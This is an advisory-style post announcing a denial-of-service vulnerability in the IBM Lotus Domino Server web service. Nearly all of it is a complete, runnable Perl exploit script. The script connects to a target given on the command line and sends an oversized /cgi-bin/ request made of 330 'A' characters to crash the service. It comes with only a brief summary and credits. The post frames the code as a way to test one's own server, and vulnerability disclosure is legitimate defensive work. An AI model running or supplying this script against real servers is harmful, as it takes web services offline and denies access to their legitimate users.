Summary
As published earlier, a vulnerability in Lotus Domino Server web service allows attackers to crash the service, thereby preventing legitimate access. For more information see: IBM Lotus Domino Server Web Service DoS Vulnerability. The following exploit code can be used to test your server for the mentioned vulnerability.

Credit:
The information has been provided by Karak0rsan.

Details
Exploit Code:
#IBM Lotus Domino Server DoS Exploit
#Discovered by iDEFENSE
#Coded bY ++Karak0rsan++
#Usage:perl exp.pl [target]
#Greetz:"d0gma.org",phalaposher,r3d_b4r0n,L4M3R,RazoR,neset,emre and all my friends
#Thanx to hurby for do everything until now...

$target=$ARGV[0];
$string="A" x 330;

if(!$ARGV[0]){
print "Lotus Domino Server DoS Exploit\n";
print "Coded by ++Karak0rsan++\n";
print "Usage:perl $0 [target]\n";
}

use IO::Socket;
$socket = new IO::Socket::INET( PeerAddr => $target,
PeerPort => 80,
Proto => 'tcp',
Type => SOCK_STREAM, );
close($socket);
if($socket){
print "[+]Attacking...\n";
}

use IO::Socket;
$socket1 = new IO::Socket::INET( PeerAddr => $target,
PeerPort => 80,
Proto => 'tcp',
Type => SOCK_STREAM, ) or die "Couldnt connect to server!\n";
print $socket1 "GET /cgi-bin/$string HTTP/1.0\r\n";
close($socket1);